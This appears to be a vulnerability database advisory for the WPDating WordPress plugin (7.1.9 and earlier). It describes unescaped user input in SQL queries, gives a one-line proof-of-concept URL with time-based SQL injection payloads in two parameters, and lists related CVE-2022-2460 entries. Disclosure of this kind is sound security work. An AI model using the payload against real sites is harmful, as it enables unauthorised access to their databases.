Lucene search
WpvulndbWPVDB-ID:694B6DFD-2424-41B4-8595-B6C305C390DBHistoryJul 18, 2022 - 12:00 a.m.
WPDating <= 7.1.9 - Multiple SQL Injection Issues
2022-07-1800:00:00
wpscan.com
4
0.002 Low
EPSS
Percentile
57.5%
The plugin does not properly escape user input before concatenating it to certain SQL queries, leading to multiple SQL injection vulnerabilities.
PoC
http://vulnerable-site.tld/wp-content/plugins/dsp_dating/m1/post_one.php?sender_id=(sender_id*sleep(10))&receiver;_id=(sender_id*sleep(10))
| CPE | Name | Operator | Version |
|---|---|---|---|
| dsp_dating | eq | * |
Related
wpexploit
wpexploit
WPDating <= 7.1.9 - Multiple SQL Injection Issues
2022-07-18 00:00:00
cvelist
cvelist
CVE-2022-2460 WPDating < 7.4.0 - Multiple Unauthenticated SQLi
2022-08-08 13:51:32
prion
prion
Sql injection
2022-08-08 14:15:00
patchstack
patchstack
cve
cve
CVE-2022-2460
2022-08-08 14:15:10
nvd
nvd
CVE-2022-2460
2022-08-08 14:15:10